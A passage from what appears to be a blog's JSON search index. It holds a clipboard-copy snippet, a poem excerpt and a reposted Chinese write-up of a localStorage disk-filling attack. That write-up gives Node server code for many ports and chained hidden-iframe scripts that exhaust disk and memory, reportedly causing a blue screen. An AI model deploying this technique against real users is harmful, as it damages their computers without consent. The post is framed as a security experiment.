document.querySelector('#showLink');input.focus();input.select(); 123// 执行复制命令document.execCommand('Copy');document.execCommand() 介绍 在这段代码里, 其实最核心也让人陌生的应该就是 document.execCommand() 方法了, 该方法的大概用途是 对选中区域 进行一些操作 有关这个方法的具体介绍, 请移步这里这里","tags":[{"name":"代码片段","slug":"代码片段","permalink":"http://yoursite.com/tags/代码片段/"},{"name":"js","slug":"js","permalink":"http://yoursite.com/tags/js/"}]},{"title":"[阅读]碧海蓝天","date":"2016-07-06T14:30:00.000Z","path":"2016/07/06/read-bihailantian/","text":"爱如雨水降落在我身上 亦如微风般从容温润 耳中只有起伏的呼吸声 仿若海上的波涛汹涌澎湃 我脑子里的欲望 如一团狂暴欲念之火熊熊燃烧 我慢慢旋转而又消失于黑暗中 大地也陷入火焰 想要找回遗失之物 总有那么一天会找回来 然后我听到心中美好之事冉冉升起 从大地黑暗深处蓦地升起 此生永在 无需证明 也无需言语 而今我已接受了很多挑战和苦难 可仍要历经世间一切诱惑 直到再也听不见世界的呼喊 我将坠入天堂 化为你身旁的一粒尘埃","tags":[{"name":"安全","slug":"安全","permalink":"http://yoursite.com/tags/安全/"},{"name":"js","slug":"js","permalink":"http://yoursite.com/tags/js/"},{"name":"黑科技","slug":"黑科技","permalink":"http://yoursite.com/tags/黑科技/"}]},{"title":"作为一个前端，可以如何机智地弄坏一台电脑？","date":"2015-07-06T14:30:00.000Z","path":"2015/07/06/hack-in-localstorage/","text":"有人说，前端的界限就在浏览器那儿。 无论你触发了多少bug，最多导致浏览器崩溃，对系统影响不到哪去。这就像二次元各种炫酷的毁灭世界，都不会导致三次元的世界末日。然而，作为一个前端，我发现是有方式打开次元大门的… 这个实验脑洞较大，动机无聊，但某种意义上反映了一些安全问题。想象一下，有天你在家里上网，吃着火锅还唱着歌，点开一个链接，电脑突然就蓝屏了！想想还真有点小激动。 起因故事得从localStorage说起。 html5的本地存储，相信大家都不陌生。将数据以二进制文件形式存储到本地，在当前应用得非常广泛。windows下的chrome，localStorage存储于C:\\Users\\xxx\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage文件夹中。但如果任由网页无限写文件，对用户硬盘的伤害可想而知，因而浏览器对其做了大小限制。 对于一个域名+端口，PC侧的上限是5M-10M之间，移动侧是则不大于2.5M。 那么问题就变成：这样的限制足够保护用户硬盘了吗？ 关键关键的问题在于，这一限制，针对的是一个域名+端口。也就是说，你访问同一个域名的不同端口，它们的localStorage并无关联，是分开存储的。 我用node简单地开启了服务器，这时，用户访问http://127.0.0.1:1000到http://127.0.0.1:1099这100个端口，会请求到同一个页面：index.html： 1234567891011121314151617var http = require('http');var fs = require('fs');//100个端口for(var port = 1000; port< 1100; port++){ http.createServer(function (request, response) { //请忽略这种循环读文件的方式，只为了简便 fs.readFile('./index.html', function(err, content){ if(err) { } else { response.writeHead(200, { 'Content-Type' : 'text/html; charset=UTF-8' }); response.write(content); response.end(); } }); }).listen(port, '127.0.0.1');} 当然，这个index.html里涉及了localStorage写操作。 123456var s = "";//慢慢来，别写太大了，好害怕…for(var i=0; i< 3 * 1024 * 1024; i++){ s += "0";}localStorage.setItem("testData", s); 我试着用浏览器分别访问了几个端口，结果是分开存储。一切跟剧本一样。 自动遍历但这种程度还不够。如果要实验变得更好（xie）玩（e）一些，问题就变成如何让用户自动遍历这些端口？ iframe是个好的尝试。只要一打开http://127.0.0.1: 1000，页面的脚步就会创建一个iframe，去请求http://127.0.0.1: 1001，一直循环下去。 1234567891011121314151617181920212223var Main = (function(){ var _key = "testData"; var _max = 1100; //最大限制 return { init: function(){ //慢慢来，别写太大了，好害怕… var s = ""; for(var i=0; i< 3 * 1024 * 1024; i++){ s += "0"; } localStorage.setItem(_key, s); var port = parseInt(location.port)+1; if(port > _max) return; //新添加iframe var url = "http://127.0.0.1:" + port; var $iframe = document.createElement("iframe"); $iframe.src = url; document.getElementsByTagName("body")[0].appendChild($iframe); } }})(); 当然iframe我们还可以设置为不可见，以掩盖这种不厚道的行为…比方说，有人发给你一个链接，你打开后发现是个视频，而你根本注意不到背后的脚本，在视频播放的几分钟里，快要把你的C盘写满。 然后我就看到请求如潮水渐涨： 但是，请求到1081端口，最新的chrome就崩溃掉了…原来iframe嵌套太多，已经到达了浏览器的极限。 ###防止浏览器崩溃 C盘还未撑满，同志还需努力。怎么办？ 突然想到，到达iframe极限之前，我们可以重定向啊。每访问50个端口，就使用window.location.href重定向一次，去确保浏览器不崩溃。 1234567891011121314151617181920212223242526272829var Main = (function(){ var _key = "testData"; var _max = 1200; //最大限制 var _jumpSpace = 50; //为避免iframe过多导致浏览器crash，每50个执行跳转 return { init: function(){ //慢慢来，别写太大了，好害怕… var s = ""; for(var i=0; i< 3 * 1024 * 1024; i++){ s += "0"; } localStorage.setItem(_key, s); var port = parseInt(location.port)+1; if(port > _max) return; if(port % _jumpSpace == 0){ //每50个，重定向一次 window.location.href = url; }else{ //新添加iframe var $iframe = document.createElement("iframe"); $iframe.src = url; document.getElementsByTagName("body")[0].appendChild($iframe); } } }})(); 事实证明，这种蛮拼的方法的确可行。 至此，只要访问http://127.0.0.1: 1000，就会往Local Storage文件夹里写入近500M无用数据： 里面的数据是这样的： 继续实验的黑科技算了下我的C盘还有空间嘛，那就把端口数量从100增长到200个。结果是这样的，到达了1.17G大小。 在后续的实验中，我就慢慢的把端口数量与存储的数据调大。 电脑也运行得越来越慢。这是为什么呢？ 我观察到，有时候执行localStorage.setItem()后，在文件夹里不一定立即能看到数据文件。怀疑这些数据会被chrome先放到内存里，以避免重复读写带来的消耗，在空闲或关闭的时机，再写进硬盘里。 但此时，浏览器已经影响到系统了。它处于一种“不会崩溃”，但“因为占用了许多内存，已经妨碍用户电脑的正常使用”的状态。即使用户关闭了浏览器窗口，也不会很快恢复。要知道读写任务并不是随窗口关闭而终止的，否则浏览器会丢失数据。 遭遇黑科技的人们能做的只有： 等待； 用任务管理器关掉chrome进程，再等待； 相信并尝试“重启电脑解决90%电脑问题”的科学论断 可以说，浏览器的内心几乎是崩溃的。 最后最后，还是得用严肃脸告诫一下：害人之心不可无。本实验，从一开始就是怀揣着将安全问题上交给国家的初衷去做的（是的就是这么纯粹）。 后续，看着C盘还有2G空间，我又把端口增长到2000个，试下会发生什么。由于请求过多，需要一定时间，我就去做别的事情了。回来后发现房间安静祥和，美轮美奂，一片蓝光，像是加了特技。 那么问题来了，计算机修理哪家强？有点急… 转自 主题yilia提供者","tags":[{"name":"安全","slug":"安全","permalink":"http://yoursite.com/tags/安全/"},{"name":"js","slug":"js","permalink":"http://yoursite.com/tags/js/"},{"name":"黑科技","slug":"黑科技","permalink":"http://yoursite.com/tags/黑科技/"}]}]